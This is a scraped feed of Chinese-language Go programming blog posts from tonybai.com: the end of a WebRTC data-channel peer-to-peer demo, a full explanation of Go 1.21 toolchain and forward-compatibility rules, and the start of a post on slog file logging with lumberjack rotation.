peer会主动创建DataChannel，然后与信令服务器建立连接，并发送请求到信令服务的/offer端点并主动向信令服务器发送Offer，最后进入event loop。在event loop中负责处理信令服务器转发过来的Answer、Candidate等信息，以及各种信令服务器返回的Response。\n当收到Answer时，offer peer会将Answer中携带的SDP传给SetRemoteDescription，同时调用SetLocalDescription开启ICE候选者的收集过程；当收到Candidate时，会调用AddICECandidate将Candidate信息添加到peerConnection中，供后续配对使用。后续WebRTC连接自动建立后，便可以通过data channel收发数据了。\noffer peer的代码较长，大家可以自行到https://github.com/bigwhite/experiments/tree/master/webrtc-data-channel/offer阅读。\n注：offer peer的代码改编自pion/webrtc项目的pion-to-pion/offer示例。\n3.6 运行示例 下面我们来运行一下这个示例。\n先来启动信令服务器：\n$cd webrtc-data-channel/signaling $go run main.go 启动answer peer：\n$cd webrtc-data-channel/answer $go run main.go 2023/09/23 21:24:45.201213 answer: NewPeerConnection ok 2023/09/23 21:24:45.201256 answer: connecting to ws://localhost:18080/register 2023/09/23 21:24:45.203993 answer: recv resp[101]: proto.Response{Code:0, Msg:\u0026quot;ok\u0026quot;} 这时我们会从信令服务器的输出日志中看到：\n2023/09/23 21:24:45.203702 signaling: add answer peer: answer-peer-1 我们看到，answer peer成功注册到信令服务器中了，其ID为answer-peer-1。\n下面我们来启动offer peer，其要连接的target为answer-peer-1：\n$cd webrtc-data-channel/offer $go run main.go -target answer-peer-1 2023/09/23 21:25:26.462845 offer: new peerConnection ok 2023/09/23 21:25:26.462880 offer: create new channel 2023/09/23 21:25:26.462890 offer: connecting to ws://localhost:18080/offer 2023/09/23 21:25:26.464863 offer: create offer 2023/09/23 21:25:26.465131 offer: recv resp[103]: proto.Response{Code:0, Msg:\u0026quot;ok\u0026quot;} 2023/09/23 21:25:26.465957 offer: recv answer(sdp) message from answer-peer-1 2023/09/23 21:25:26.466064 offer: set local desc 2023/09/23 21:25:26.466099 offer: set remote desc 2023/09/23 21:25:26.466201 offer: Peer Connection State has changed: connecting 2023/09/23 21:25:26.466297 offer: recv candidate message from answer-peer-1 2023/09/23 21:25:26.466344 offer: invoke peerConnection.OnICECandidate: webrtc.ICECandidate{statsID:\u0026quot;candidate:KsXlIk2JNeiDqK3l+znsoB3sDwuh1/2x\u0026quot;, Foundation:\u0026quot;4104056053\u0026quot;, Priority:0x7effffff, Address:\u0026quot;192.168.1.105\u0026quot;, Protocol:1, Port:0xc2b1, Typ:1, Component:0x1, RelatedAddress:\u0026quot;\u0026quot;, RelatedPort:0x0, TCPType:\u0026quot;\u0026quot;} 2023/09/23 21:25:26.466506 offer: recv resp[104]: proto.Response{Code:0, Msg:\u0026quot;ok\u0026quot;} 2023/09/23 21:25:26.468342 offer: Peer Connection State has changed: connected 2023/09/23 21:25:26.469105 offer: Data channel 'data'-'824634439080' open. Random messages will now be sent to any connected DataChannels every 5 seconds 2023/09/23 21:25:26.859774 offer: recv candidate message from answer-peer-1 2023/09/23 21:25:31.469811 offer: Sending 'offer-1013426535' 2023/09/23 21:25:31.470846 offer: Message from DataChannel 'data': 'answer-695102175' 2023/09/23 21:25:36.469653 offer: Sending 'offer-2065047193' 2023/09/23 21:25:36.470495 offer: Message from DataChannel 'data': 'answer-750781464' 2023/09/23 21:25:41.469603 offer: Sending 'offer-153497802' 2023/09/23 21:25:41.469938 offer: Message from DataChannel 'data': 'answer-2102723687' 2023/09/23 21:25:46.469504 offer: Sending 'offer-1287609150' 2023/09/23 21:25:46.470097 offer: Message from DataChannel 'data': 'answer-645051512' 2023/09/23 21:25:51.470078 offer: Sending 'offer-1486812657' 2023/09/23 21:25:51.470572 offer: Message from DataChannel 'data': 'answer-1325372035' offer peer的启动引发了“连锁反应”，在信令服务器的帮助下，offer peer与answer peer成功建立了连接，并在打开的Data Channel进行着“定时”的双工实时通信。\n信令服务器的输出日志如下：\n2023/09/23 21:25:26.465049 signaling: recv request[3] from offer peer 2023/09/23 21:25:26.465070 signaling: send offer resp ok 2023/09/23 21:25:26.465073 signaling: add offer peer: offer-peer-1 2023/09/23 21:25:26.465085 signaling: forward request[3] to answer peer ok 2023/09/23 21:25:26.465247 signaling: recv offer response from answer peer 2023/09/23 21:25:26.465868 signaling: recv request[2] from answer peer 2023/09/23 21:25:26.465896 signaling: forward request[2] to offer peer[offer-peer-1] ok 2023/09/23 21:25:26.466003 signaling: recv answer response from offer peer 2023/09/23 21:25:26.466218 signaling: recv request[4] from answer peer 2023/09/23 21:25:26.466245 signaling: forward request[4] to offer peer[offer-peer-1] ok 2023/09/23 21:25:26.466363 signaling: recv candidate response from offer peer 2023/09/23 21:25:26.466415 signaling: recv request[4] from offer peer 2023/09/23 21:25:26.466429 signaling: send offer resp ok 2023/09/23 21:25:26.466435 signaling: add offer peer: offer-peer-1 2023/09/23 21:25:26.466445 signaling: forward request[4] to answer peer ok 2023/09/23 21:25:26.466526 signaling: recv candidate response from answer peer 2023/09/23 21:25:26.859520 signaling: recv request[4] from answer peer 2023/09/23 21:25:26.859609 signaling: forward request[4] to offer peer[offer-peer-1] ok 2023/09/23 21:25:26.859951 signaling: recv candidate response from offer peer answer peer的输出日志如下：\n2023/09/23 21:25:26.465182 answer: recv offer message from offer-peer-1 2023/09/23 21:25:26.465823 answer: send sdp answer 2023/09/23 21:25:26.465834 answer: Peer Connection State has changed: connecting 2023/09/23 21:25:26.465925 answer: set local desc 2023/09/23 21:25:26.465928 answer: recv resp[102]: proto.Response{Code:0, Msg:\u0026quot;ok\u0026quot;} 2023/09/23 21:25:26.466108 answer: invoke peerConnection.OnICECandidate: 192.168.1.105 2023/09/23 21:25:26.466285 answer: recv resp[104]: proto.Response{Code:0, Msg:\u0026quot;ok\u0026quot;} 2023/09/23 21:25:26.466481 answer: recv candidate message from offer-peer-1 2023/09/23 21:25:26.468475 answer: Peer Connection State has changed: connected 2023/09/23 21:25:26.469002 answer: New DataChannel data 824634440046 2023/09/23 21:25:26.469049 answer: Data channel 'data'-'824634440046' open. Random messages will now be sent to any connected DataChannels every 5 seconds 2023/09/23 21:25:26.859199 answer: invoke peerConnection.OnICECandidate: 175.160.224.151 2023/09/23 21:25:26.859770 answer: recv resp[104]: proto.Response{Code:0, Msg:\u0026quot;ok\u0026quot;} 2023/09/23 21:25:31.470331 answer: Sending 'answer-695102175' 2023/09/23 21:25:31.470366 answer: message from DataChannel 'data': 'offer-1013426535' 2023/09/23 21:25:36.470028 answer: Sending 'answer-750781464' 2023/09/23 21:25:36.470123 answer: message from DataChannel 'data': 'offer-2065047193' 2023/09/23 21:25:41.469624 answer: Sending 'answer-2102723687' 2023/09/23 21:25:41.469978 answer: message from DataChannel 'data': 'offer-153497802' 2023/09/23 21:25:46.469606 answer: Sending 'answer-645051512' 2023/09/23 21:25:46.469883 answer: message from DataChannel 'data': 'offer-1287609150' 2023/09/23 21:25:51.470303 answer: Sending 'answer-1325372035' 2023/09/23 21:25:51.470421 answer: message from DataChannel 'data': 'offer-1486812657' 这次运行是在本地同一主机下运行的。你也可以将信令服务器搭建在公网主机上，然后将answer peer和offer peer分别放到不同的公有云虚机上，你看看是否依然可以连通！我在阿里云上的测试结果是ok的(信令服务器放在美国)。\n注：示例中使用的stun server：74.125.137.127:19302实际上就是stun.l.google.com:19302。\n4. 小结 通过本文的讲解和示例，我们看到：基于WebRTC数据通道可以实现低延迟的P2P实时通信。Go语言通过Pion等项目库提供了对开发WebRTC的支持。通过信令服务器协调Offer/Answer模型，可以建立起端到端的数据通道。未来WebRTC数据通道可用于更多像实时协同、远程控制等应用场景。\n本文代码示例可在这里下载。\n注：本文示例仅是用作展示如何使用Go进行WebRTC应用的开发，对异常处理等方面并未做太多考虑，不要将示例代码用作生产环境。另外gorilla的websocket.Conn并非始终是goroutine safe的，示例中代码对websocket.Conn的保护并不那么充分。\n5. 参考资料 WebRTC for the Curious – https://webrtcforthecurious.com/ WebRTC: Real-Time Communication in Browsers – https://w3c.github.io/webrtc-pc/ WebRTC音视频实时互动技术 – https://book.douban.com/subject/35543112/ WebRTC权威指南 – https://book.douban.com/subject/26915289/ Learning WebRTC中文版-用WebRTC开发交互实时通信应用 – https://book.douban.com/subject/26820574/ Real-Time Communication (RTC): The Ultimate Guide – https://www.agora.io/en/blog/real-time-communication-tools-for-online-messaging/ WebRTC加入了W3C和IETF标准 – https://web.dev/webrtc-standard-announcement/ Introduction to WebRTC protocols – https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Protocols How Go-based Pion attracted WebRTC Mass – Q\u0026amp;A with Sean Dubois – https://webrtchacks.com/how-go-based-pion-attracted-webrtc-mass-qa-with-sean-dubois/ FOSDEM 2020: How can we make WebRTC Easier? – https://www.slideshare.net/SeanDuBois3/how-can-we-make-webrtc-easier “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/09/23/p2p-rtc-implementation-with-go-and-webrtc-data-channel/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/p2p-rtc-implementation-with-go-and-webrtc-data-channel-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/09/23/p2p-rtc-implementation-with-go-and-webrtc-data-channel\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/09/23/p2p-rtc-implementation-with-go-and-webrtc-data-channel\"\u003ehttps://tonybai.com/2023/09/23/p2p-rtc-implementation-with-go-and-webrtc-data-channel\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e关于实时通信(RTC，Real-Time Communication)，我和大多数人一样，是用的多(比如网络电话、音视频会议等)，但对RTC概念和其底层技术原理了解的却不多。近期，一项目恰用到了RTC技术，我就顺便翻阅了一些资料，并用Go建立了一个端到端数据通信的小demo，这里给大家分享一下。\u003c/p\u003e","title":"使用Go和WebRTC data channel实现端到端实时通信"},{"content":"\n本文永久链接 – https://tonybai.com/2023/09/10/understand-go-forward-compatibility-and-toolchain-rule\nGo语言在发展演进过程中一直十分注重向后兼容性(backward compatibility)，在Go 1.0版本发布之初就发布了Go1兼容性承诺，简单来说就是保证使用新版本Go(比如Go 1.21版本)可以正常编译和运行老版本的Go代码(比如使用Go 1.18版本语法编写的go代码)，不会出现breaking change(其实也不是绝对的不会出现)。\n但是在Go 1.21版本之前，Go语言在向前兼容性方面却存在一定的不确定性问题。Go 1.21版本对此进行了改进，并引入了go toolchain规则。本文就和大家详细聊聊Go语言的向前兼容性以及Go 1.21中新引入的toolchain的使用规则。\n1. Go 1.21版本之前的向前兼容性问题 在Go 1.21版本之前，Go module中的go directive用于声明建议的Go版本，但并不强制实施。例如:\n// go.mod module demo1 go 1.20 上面go.mod文件中的go directive表示建议使用Go 1.20及以上版本编译本module代码，但并不强制禁止使用低于1.20版本的Go对module进行编译。你也可以使用Go 1.19版本，甚至是Go 1.15版本编译这个module的代码。\n但Go官方对于这种使用低版本(比如L)编译器编译go directive为高版本(比如H)的Go module的结果没有作出任何承诺和保证，其结果也是不确定的。\n如果你比较幸运，在module中没有使用高版本(从L+1到H)引入go的新语法特性，那么编译是可以通过的。\n如果你更加幸运，你module中的代码没有使用到任何从L+1到H版本中带有语法行为变更、bug或安全漏洞的代码，那么编译出的可执行程序运行起来也可以是正常的。\n相反，你可能会遇到编译失败、运行失败甚至运行时行为出现breaking change的问题，而这些都是不确定的。\n有gopher可能会说：我自己的代码可以控制，我可以保证避免掉这些问题。但如果你的module有外部依赖，你能保证你的依赖不存在这种向前兼容性的问题吗！\n向前兼容性问题会导致Go开发者的体验不佳！因此，从Go 1.21版本开始，Go团队在向前兼容性方面对Go进行了改善，尽量以确定性代替上述的问题带来的不确定性。\n下面我们就来看看Go 1.21版本在向前兼容性方面的策略调整。\n2. Go 1.21版本后的向前兼容性策略 Go从Go 1.11版本引入go module，在go 1.16版本，go module构建模式正式成为默认构建模式，替代了原先的GOPATH构建模式。\n注：《Go语言第一课》专栏的第6讲和第7讲对Go module构建模式与6类常规操作做了全面系统的讲解，感兴趣的童鞋可移步阅读。\n通过go module，结合语义导入版本(semantic import versioning)、最小版本选择(Minimal version selection)等机制，go build可以实现精确的依赖管控。\nGo 1.21版本后的向前兼容性策略的调整就是参考了go module对依赖的管理方法：即将go版本和go toolchain版本作为一个module的“依赖”来管理。如果你真正理解了这个，那理解后面那些具体的规则就容易多了！\n如果Russ Cox当初设计Go module就想到了今天这个思路，估计就会直接使用go.mod文件中的require语法像管理依赖module那样来管理go version和go toolchain了：\n// go.mod (假想的) module demo1 require ( go 1.20.5 toolchain go1.21.1 ) require ( github.com/gomodule/redigo v1.8.5 github.com/google/gops v0.3.19 github.com/panjf2000/ants v1.2.1 ) 但时间无法倒流，历史不能重来，Russ Cox现在只能使用go directive和toolchain directive来提供对go版本和go工具链的依赖信息：\n// go.mod module demo1 go 1.20.5 toolchain 1.21.1 同时和使用go get可以改变go.mod的require块中的依赖的版本一样，通过go get也可以修改go.mod中go和toolchain指示的版本：\n$go get go@1.21.1 $go get toolchain@go1.22.1 基于上述策略调整，为解决向前兼容不确定性的问题，Go从1.21版本开始，改变了go.mod中go directive的语义：它不再是建议，而是指定了module最小可用的Go版本。\n这样在仅使用本地go工具链的情况下，如果Go编译器版本低于go.mod中的go版本，将无法编译代码：\n// go.mod module demo1 go 1.21.1 // 指定最小可用版本为Go 1.21.1 $GOTOOLCHAIN=local go build go: go.mod requires go \u0026gt;= 1.21.1 (running go 1.21.0; GOTOOLCHAIN=local) 细心的读者可能会注意到了，这里我用了一个前提：“在仅使用本地go工具链的情况下(即设置了GOTOOLCHAIN=local)”，在Go 1.21版本之前，我们遇到的都属于这种情况。遇到这种情况后，我们一般的作法是手动下载对应版本的Go工具链(比如这里的go 1.21.1)，然后用新版工具链重新编译。\nGo团队考虑到手动管理go工具链带来的体验不佳问题，在Go 1.21版本及以后，go还提供了自动Go工具链管理，如果go发现本地工具链版本低于go module要求的最低go版本，那么go会自动下载高版本的go工具链，缓存到go module cache中(不会覆盖本地安装的go工具链)，并用新下载的go工具链对module进行编译构建：\n// go.mod module demo1 go 1.21.1 // 指定最小可用版本为Go 1.21.1 $go build go: downloading go1.21.1 (darwin/amd64) 注：从兼容性方面考虑，如果go.mod中没有显式的用go指示go版本，那么默认go版本为1.16。\n对应module有依赖的情况，比如下图：\n这里要正确编译图中的main module，我们至少需要go 1.21.0版本，这个版本是main所有依赖中version最大的那个。\n当然最终选择哪个版本的go工具链对module进行编译，则有一个选择决策的过程。\ngo module构建模式下，go工具链选择依赖module的版本时有一套机制，比如最小版本选择等，Go 1.21以后，go工具链版本的选择，也有一套类似的逻辑。接下来我们就来简单看一下。\n3. module依赖的Go toolchain版本的选择过程 我们先来回顾一下go module中依赖module的版本选择机制：最小版本选择(mvs)，下面的图是讲解这个机制时经常引用的图：\n上图来自https://go.dev/ref/mod\n以module C的版本选择为例，A依赖C 1.3，B依赖C 1.4，那么满足应用依赖需求的最小版本就是1.4。如果选择1.3，则不满足B对依赖的要求。\n对Go toolchain的选择过程也遵循mvs方法，我们把前面的那个例子拿过来：\n现在我们帮这个例子选择go toolchain版本。\n注：如果go.mod中没有显式用toolchain指示工具链版本，那我们可以认为go.mod中有一个隐含的toolchain指示版本，该版本与go directive指示的版本一致。\n上面的例子中对toolchain version的最高要求为module D的go 1.21.0，当startup toolchain(执行的那个go命令的版本)得到这个信息后，就会在当前可用的toolchain版本列表中选出满足go 1.21.0的最小版本的go toolchain，然后会有一个叫Go toolchain switches(Go工具链切换)的过程，切换后，选出的新版go toolchain会继续后面的工作(编译和链接)。例如，如果可用的toolchain版本有如下三个：\ngo 1.22.7 go 1.21.3 go 1.21.5 那么startup toolchain会根据mvs原则选出满足go 1.21.0的最小版本，即go 1.21.3。\n这里大家可能会马上问：什么是可用的toolchain版本？别急！接下来我们就来回答这个问题。\n4. GOTOOLCHAIN环境变量与toolchain版本选择 是否执行自动工具链下载和缓存、Go toolchain switches(Go工具链切换)以及切换的工具链的版本取决于GOTOOLCHAIN环境变量的设置、go.mod中go和toolchain指示的版本。\n当go命令捆绑的工具链与module的go.mod的go或工具链版本一样时或更新时，go命令会使用自己的捆绑工具链。例如，当在main module的go.mod包含有go 1.21.0时，如果go命令绑定的工具链是Go 1.21.3版本，那么将继续使用初始toolchain的版本，即Go 1.21.3。\n而如果go.mod中的go版本写着go 1.21.9，那么go命令捆绑的工具链版本1.21.3显然不能满足要求，那此时就要看GOTOOLCHAIN环境变量的配置。\nGOTOOLCHAIN的设置以及对结果的影响略复杂，下面是GOTOOLCHAIN的多种设置形式以及对toolchain选择的影响说明(以下示例中本地go命令捆绑的工具链版本为Go 1.21.0)：\n\\ 例如，GOTOOLCHAIN=go1.21.0。go命令将始终运行该特定版本的go工具链。如果本地存在该版本工具链，就使用本地的。如果不存在，会下载、缓存起来并使用。如果go.mod中的工具链版本高于name版本，则停止编译：\n$cat go.mod module demo1 go 1.23.1 toolchain go1.23.1 $GOTOOLCHAIN=go1.21.0 go build go: go.mod requires go \u0026gt;= 1.23.1 (running go 1.21.0; GOTOOLCHAIN=go1.21.0) \\+auto 当GOTOOLCHAIN设置为\\+auto时，go命令会根据需要选择并运行较新的Go版本。具体来说，它会查询go.mod文件中的工具链版本和go version。如果go.mod 文件中有toolchain行，且toolchain指示的版本比默认的Go工具链(name)新，那么系统就会调用toolchain指示的工具链版本；反之会使用默认工具链。\n当本地不存在决策后的工具链版本时，会自动下载、缓存，并使用该缓存工具链进行后续编译。\n$cat go.mod module demo1 go 1.23.1 toolchain go1.23.1 $GOTOOLCHAIN=go1.24.1+auto go build go: downloading go1.24.1 (darwin/amd64) // 使用name指定工具链，但该工具链本地不存在，于是下载。 $GOTOOLCHAIN=go1.20.1+auto go build go: downloading go1.23.1 (darwin/amd64) // 使用go.mod中的版本的工具链 \\+path 当GOTOOLCHAIN设置为\\+path时，go命令会根据需要选择并运行较新的Go版本。具体来说，它会查询go.mod文件中的工具链版本和go version。如果go.mod 文件中有toolchain行，且toolchain指示的版本比默认的Go工具链(name)新，那么系统就会调用toolchain指示的工具链版本；反之会使用默认工具链。当使用\\+path时，如果决策得到的工具链版本在PATH路径下没有找到，那么go命令执行过程将终止。\n$cat go.mod module demo1 go 1.23.1 toolchain go1.23.1 $GOTOOLCHAIN=go1.24.1+path go build // 使用name指定工具链，但该工具链本地不存在，于是编译停止 go: cannot find \u0026quot;go1.24.1\u0026quot; in PATH $GOTOOLCHAIN=go1.20.1+path go build // 使用go.mod中的版本的工具链，但该工具链本地不存在，于是编译停止 go: cannot find \u0026quot;go1.23.1\u0026quot; in PATH auto (等价于 local+auto，这也是默认值) auto的语义是当go.mod中工具链版本低于go命令捆绑的工具链版本，则使用go命令运行捆绑的工具链；反之，自动下载对应的工具链版本，缓存起来并使用。\n$cat go.mod module demo1 go 1.23.1 toolchain go1.23.1 $GOTOOLCHAIN=auto go build go: downloading go1.23.1 (darwin/amd64) path (等价于 local+path) path的语义是当go.mod中工具链版本低于go命令捆绑的工具链版本，则使用go命令运行捆绑的工具链；反之，在PATH中找到满足go.mod中工具链版本的go版本。如果没找到，则会停止编译过程：\n$cat go.mod module demo1 go 1.23.1 toolchain go1.23.1 $GOTOOLCHAIN=path go build go: cannot find \u0026quot;go1.23.1\u0026quot; in PATH local 当GOTOOLCHAIN设置为local时，go命令总是运行捆绑的 Go 工具链。如果go.mod中工具链版本高于local的版本，则会停止编译过程。\n$cat go.mod module demo1 go 1.23.1 toolchain go1.23.1 $GOTOOLCHAIN=local go build go: go.mod requires go \u0026gt;= 1.23.1 (running go 1.21.0; GOTOOLCHAIN=local) 就像之前说的，当Go工具在编译module依赖项时发现当前go toolchain版本无法满足要求时，会进行go toolchain switches(切换)，切换的过程就是从可用的go toolchain列表中取出一个最适合的。\n那么“可用的go toolchain列表”究竟是如何组成的呢？ go命令有三个候选版本(以当前发布的最新版Go 1.21.1为例，这些版本也是Go当前承诺提供support的版本)：\n尚未发布的Go语言版本的最新候选版本（1.22rc1） 最近发布的 Go 语言版本的最新补丁 (1.21.1) 上一个Go语言版本的最新补丁版本(1.20.8)。 当GOTOOLCHAIN设置为带auto形式的值的时候，Go会下载这些版本；当GOTOOLCHAIN设置为代path形式的值的时候，Go会在PATH路径搜索适合的go工具链列表。\n接下来，go会用mvs(最小版本选择)来确定究竟使用哪个toolchain版本。Go toolchain reference中就有这样一个例子。\n假设example.com/widget@v1.2.3需要Go 1.24rc1或更高版本。go命令会获取可用工具链列表，并发现两个最新Go工具链的最新补丁版本是Go 1.28.3和Go 1.27.9，候选版本Go 1.29rc2也可用。在这种情况下，go 命令会选择Go 1.27.9。\n如果 widget 需要 Go 1.28或更高版本，go命令会选择 Go 1.28.3，因为 Go 1.27.9 太旧了。如果widget需要Go 1.29或更高版本，go命令会选择Go 1.29rc2，因为Go 1.27.9和Go 1.28.3都太老了。\n5. 小结 Go 1.21通过增强go语句语义和添加工具链管理，大幅改进了Go语言的向前兼容性。开发者可以放心使用新语言特性，无需担心旧版本编译器带来的问题。go命令会自动处理不同module使用不同go版本和不同工具链版本的情况，使用Go语言变得更简单。\n总之，要理解本文内容，重要的是要把握住一点：Go 1.21版本对Go向前兼容性的改进是参考了go module对依赖的管理方法：即将go版本和go toolchain版本作为一个module的“依赖”来管理。\n6. 参考资料 Forward Compatibility and Toolchain Management in Go 1.21 – https://go.dev/blog/toolchain Go Toolchains reference – https://go.dev/doc/toolchain “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/09/10/understand-go-forward-compatibility-and-toolchain-rule/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-go-forward-compatibility-and-toolchain-rule-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/09/10/understand-go-forward-compatibility-and-toolchain-rule\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/09/10/understand-go-forward-compatibility-and-toolchain-rule\"\u003ehttps://tonybai.com/2023/09/10/understand-go-forward-compatibility-and-toolchain-rule\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGo语言在发展演进过程中一直十分注重向后兼容性(backward compatibility)，在\u003ca href=\"https://go.dev/blog/go1\"\u003eGo 1.0版本发布\u003c/a\u003e之初就发布了\u003ca href=\"https://go.dev/doc/go1compat\"\u003eGo1兼容性承诺\u003c/a\u003e，简单来说就是保证使用新版本Go(比如\u003ca href=\"https://tonybai.com/2023/08/20/some-changes-in-go-1-21/\"\u003eGo 1.21版本\u003c/a\u003e)可以正常编译和运行老版本的Go代码(比如使用\u003ca href=\"https://tonybai.com/2022/04/20/some-changes-in-go-1-18\"\u003eGo 1.18版本\u003c/a\u003e语法编写的go代码)，不会出现breaking change(\u003ca href=\"https://go.dev/blog/compat\"\u003e其实也不是绝对的不会出现\u003c/a\u003e)。\u003c/p\u003e","title":"聊聊Go语言的向前兼容性和toolchain规则"},{"content":"\n本文永久链接 – https://tonybai.com/2023/09/04/slog-in-action-file-logging-rotation-and-kafka-integration\n《slog正式版来了：Go日志记录新选择！》一文发布后，收到了很多读者的反馈，意见集中在以下几点：\n基于slog如何将日志写入文件 slog是否支持log轮转(rotation)，如果slog不支持，是否有好的log轮转插件推荐？ 如何与kafka集成 日志输出有哪些最佳实践 这篇文章就是对上述问题进行补充说明的，供大家参考，希望能给大家带去帮助。\n1. 输出日志到文件 之所以《slog正式版来了：Go日志记录新选择！》一文中使用的例子都以os.Stdout(标准输出)为log输出目的地，主要是因为基于云原生微服务架构模式下，应用都跑在容器中(k8s的pod中)，基本都是将log输出到Stdout，而不会写入某个具体的本地文件。但如果应用是基于虚拟机或裸机部署，那么将日志写入文件仍然是第一选项。\n其实，使用slog内置的TextHandler和JSONHandler可以非常方便的将结构化的日志写入文件，因为slog.NewXXXHandler函数的第一个参数是一个io.Writer，这样通过将一个文件的描述符传递给NewXXXHandler，即可创建一个向文件写入日志的Logger。我们看下面示例代码：\n//slog-in-action/log2file/main.go package main import ( \u0026quot;log/slog\u0026quot; \u0026quot;os\u0026quot; ) func main() { f, err := os.Create(\u0026quot;foo.log\u0026quot;) if err != nil { panic(err) } defer f.Close() logger := slog.New(slog.NewJSONHandler(f, nil)) slog.SetDefault(logger) slog.Info(\u0026quot;greeting\u0026quot;, \u0026quot;say\u0026quot;, \u0026quot;hello\u0026quot;) } 在这个示例中，我们创建了目标日志文件foo.log，并将其描述符(*os.File)传给了NewJSONHandler函数，通过这种方式创建出来的Logger输出的日志内容将会被写入foo.log文件中：\n$go run main.go $cat foo.log {\u0026quot;time\u0026quot;:\u0026quot;2023-09-02T19:38:45.441782+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;INFO\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;greeting\u0026quot;,\u0026quot;say\u0026quot;:\u0026quot;hello\u0026quot;} 这种方式应该可以满足大多数gopher的需求了。\n2. 日志文件的管理 一旦将日志写入文件，后续就要对日志文件进行管理，比如：日志文件的轮转、压缩、归档以及定期清理(腾出磁盘空间)等。\n关于如何对日志文件管理的方案大致有这么几种。\n第一种是借助外部工具，比如在主流的Linux发行版上都有一个logrotate工具程序，应用程序可以借助该工具对应用输出的日志进行rotate、压缩、归档和删除历史归档日志，这样可大幅简化应用的日志输出逻辑，应用仅需要将日志输出到一个具名文件中即可，其余都交给logrotate处理。关于如何使用logrotate，我在《写Go代码时遇到的那些问题[第1期]》中有详细说明，感兴趣的朋友可以移步阅读一下，这里就不赘述了。\n第二种就是log包自身支持。大多数log包都没有将日志文件管理作为自己的功能feature，slog包也是如此，没有原生提供此功能。\n第三种就是通过支持log包相关插件接口的一些扩展包来支持。lumberjack就是这样的一个插件包，它支持与很多知名的log包集成在一起实现对log文件的管理，比如logrus、zap等。我曾在《写Go代码时遇到的那些问题[第3期] 》和《一文告诉你如何用好uber开源的zap日志库》两篇文章中分别讲解了logrus和zap与lumberjack集成在一起对日志文件进行管理的方法。如果你对lumberjack不是很熟悉，建议你在继续阅读下面内容之前，温习一下这两篇文章。\n在这一篇文章中，我们用示例来简单说说如何将slog与lumberjack集成以实现对log文件的管理功能。看下面示例：\n//slog-in-action/lumberjack/main.go package main import ( \u0026quot;log/slog\u0026quot; \u0026quot;gopkg.in/natefinch/lumberjack.v2\u0026quot; ) func main() { r := \u0026amp;lumberjack.Logger{ Filename: \u0026quot;./foo.log\u0026quot;, LocalTime: true, MaxSize: 1, MaxAge: 3, MaxBackups: 5, Compress: true, } logger := slog.New(slog.NewJSONHandler(r, nil)) slog.SetDefault(logger) for i := 0; i \u0026lt; 100000; i++ { slog.Info(\u0026quot;greeting\u0026quot;, \u0026quot;say\u0026quot;, \u0026quot;hello\u0026quot;) } } 在这个示例中，我们看到：*lumberjack.Logger实现了io.Writer接口，因为只要将实例化后的*lumberjack.Logger以参数形式传入NewXXXHandler即可完成slog与lumberjack的集成。至于日志文件的管理行为则是通过lumberjack.Logger实例化过程的字段赋值来定制的。比如这里我们指定了目标日志文件名(Filename)为”./foo.log”，指定当文件达到1M字节时(MaxSize)进行rotate，对rotate后的文件进行压缩(Compress)，最多保留5个归档文件(MaxBackups)以及归档文件最多保存3天(MaxAge)等。\n运行上述示例程序后，我们将在当前目录想得到如下文件：\n$go run main.go $ls foo-2023-09-02T08-24-20.854.log.gz foo-2023-09-02T08-24-20.979.log.gz foo-2023-09-02T08-24-21.098.log.gz go.mod main.go foo-2023-09-02T08-24-20.918.log.gz foo-2023-09-02T08-24-21.041.log.gz foo.log go.sum 